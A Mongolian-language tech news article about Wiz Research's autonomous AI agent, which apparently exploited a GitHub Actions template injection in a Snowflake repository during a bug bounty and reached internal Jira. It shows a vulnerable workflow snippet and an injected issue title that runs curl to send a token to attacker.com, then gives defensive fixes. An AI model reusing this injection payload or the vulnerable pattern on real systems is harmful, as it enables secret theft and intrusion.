Мэдээ

Хүний оролцоогүйгээр систем эвдэв: Wiz-ийн AI Агент Snowflake-ийн эмзэг байдлыг бие даан хайж, нэвтэрсэн нь

TOGTOKHTOGTOKH·2026 оны наймдугаар сарын 18·2 үзсэн·
Хүний оролцоогүйгээр систем эвдэв: Wiz-ийн AI Агент Snowflake-ийн эмзэг байдлыг бие даан хайж, нэвтэрсэн нь

Кибер аюулгүй байдал болон програм хангамжийн хөгжүүлэлтийн салбарт цоо шинэ эрин үе эхэлснийг батлах нэгэн дуулиант хэрэг гарлаа. Cloud хамгаалалтын тэргүүлэгч Wiz Research компани өөрсдийн хөгжүүлсэн "Red Agent" хэмээх бие даасан (autonomous) AI агент нь Snowflake компанийн нээлттэй эхийн репозитор дахь GitHub Actions-ийн эмзэг байдлыг илрүүлж, хүний ямар ч оролцоогүйгээр халдлагын код (payload) зохион, улмаар Snowflake-ийн дотоод Jira систем рүү нэвтэрч чадсаныг зарлалаа.

Энэхүү кейс нь AI зөвхөн код бичих туслах байхаа больж, систем дэх алдааг бодит цаг хугацаанд бие даан олж мөлждөг (exploit) түвшинд хүрснийг, мөн CI/CD автоматжуулалт дахь жижиг алдаа ямар их хохирол дагуулж болохыг хөгжүүлэгчдэд бодитоор харууллаа.


Халдлага хэрхэн болов? (Autonomous AI Exploit)

Wiz Red Agent нь Snowflake-ийн HackerOne bounty хөтөлбөрийн хүрээнд тус байгууллагын олон нийтэд нээлттэй snowflakedb/snowflake-connector-net төслийг бүрэн автоматаар сканнерджээ.

Тус санд шинээр GitHub Issue үүсэх бүрд ажилладаг автомат workflow байсан бөгөөд хэрэглэгчийн бичсэн Issue-ийн гарчиг (issue.title)-ийг шалгахдаа GitHub Actions-ийн хамгийн түгээмэл алдаа болох Template Injection хийх боломж үлдээсэн байв.

Хамгийн сонирхолтой нь Red Agent-ийн үйлдэл байв:

  1. Зорилтот халдлага илгээх: Red Agent тусгай Issue гарчиг үүсгэж, GitHub Actions runner дотор дурын код ажиллуулах анхны payload-оо шидсэн.
  2. Алдаагаа өөрөө оношилсон нь: Эхний оролдлогоор runner дээр Bash-ийн синтакс алдаа гарчээ. Гэтэл AI Агент гацсангүй, консолын алдааны мэдээллийг өөрөө уншиж, хаалт болон хашилт дутуу хаагдсаныг тооцоолоод payload-оо дахин засаж бичсэн байна.
  3. Хандалт авах: Хэдхэн секундын дотор шинэчилсэн payload амжилттай ажиллаж, runner-аас reverse callback холболт хийн, орчны нууц token-ийг гарган авчээ.
  4. Цар хүрээг тэлэх: AI агент уг token-ийг ашиглан Snowflake-ийн инженеринг, аюулгүй байдлын аудит, bug bounty тайлангууд бүхий дотоод Jira портал руу шууд унших эрхтэйгээр нэвтэрсэн байна.

Энэ бүх процессыг ямар ч хүний гар хүрэлгүйгээр цэвэр AI агент бие даан 5 хүрэхгүй хоногийн дотор хийж гүйцэтгэжээ. (Wiz алдааг илрүүлсэн даруйдаа Snowflake-д мэдэгдэж, аюулгүй болгосон байна).


Алдааны цаад механизм: GitHub Actions Template Injection

Энэхүү халдлага хэрхэн боломжтой болсныг кодын түвшинд харцгаая. Олон хөгжүүлэгчид ${{ github.event... }} утгыг shell скрипт дотор шууд ашиглах нь аюулгүй гэж андуурдаг.

Эмзэг байдал үүсгэсэн жишээ код:

# ЭМЗЭГ КОД:
- name: Process Issue Title
  run: |
    # Гарчгийг цэвэрлэх гэж оролдсон ч дараалал буруу!
    TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g')
    echo "Processing $TITLE"

Яагаад энэ нь ажиллахгүй байна вэ?

GitHub Actions runner-ийн ажиллах зарчим:

  1. GitHub Template Engine нь Bash скрипт ажиллахаас ӨМНӨ ${{ ... }} илэрхийллийг текст хэлбэрээр шууд орлуулдаг (string expansion).
  2. Халдагч Issue-ийн гарчиг дээр Test'; curl https://attacker.com?token=$JIRA_TOKEN; # гэж бичихэд template engine нь үүнийг echo 'Test'; curl ... болгон өргөтгөж хувиргана.
  3. Үүний дараа л Bash скриптийг ажиллуулах тул цаана нь бичсэн sed комманд хэзээ ч ажиллаж амжихгүй.

AI Тойрог: AI бүтээж, AI эвдэх үе ирлээ

Энэхүү хэрэг явдлын бас нэг анхаарал татсан сэдэв нь AI Code Review / Copilot Autofix-ийн үүрэг байв. Уг эмзэг PR нэгдэхэд (merge) автомат AI хэрэгслүүд болон Copilot-ийн review ямар ч асуудал илрүүлээгүй өнгөрөөсөн байна.

Харин нөгөө талд нь халдагч талын AI (Red Agent) 5-хан хоногийн өмнө нэгдсэн кодыг олж илрүүлээд, алдаа гарсан ч өөрийн логикоо засан систем рүү нэвтэрч чаджээ. Өөрөөр хэлбэл, хамгаалалтын AI-ийн алдсан цоорхойг халдлагын AI ганц ч хором алдалгүй ашиглаж чадаж байна.


Хөгжүүлэгчид үүнээс юу сурах ёстой вэ?

1. Template Expression-ийг run: дотор хэзээ ч шууд бүү ашигла

Хэрэглэгчийн оруулж болох аливаа өгөгдлийг (PR title, issue body, commit message гэх мэт) заавал Environment Variable болгож дамжуулах ёстой:

# ЗӨВ ХЭЛБЭР:
- name: Process Issue Title Safely
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: |
    # Одоо ISSUE_TITLE нь Bash-ийн найдвартай хувьсагч болсон
    echo "Processing $ISSUE_TITLE"

2. CI/CD-дээ Static Security Analysis нэвтрүүл

GitHub Actions workflow-ийн аюулгүй байдлыг шалгадаг zizmor эсвэл actionlint зэрэг нээлттэй эхийн статик шинжилгээний багажуудыг өөрийн CI pipeline дээр заавал ажиллуулж заншаарай. Эдгээр нь дээрх template injection алдааг автоматаар анхааруулдаг.

3. "AI бичсэн / хянасан" кодод сохроор бүү найд

AI код бичих бүтээмжийг хэд дахин өсгөж байгаа ч, CI/CD орчны логик, permission, context injection зэрэг нарийн аюулгүй байдлын дүрмүүдийг хүний инженерчлэлийн хяналтгүйгээр бүрэн автоматжуулах нь эрсдэлтэй гэдгийг энэхүү кейс тод санууллаа.

Эх сурвалж: Wiz Research, Hacker News, The Next Web (TNW)

Сэтгэгдэл

Ачаалж байна...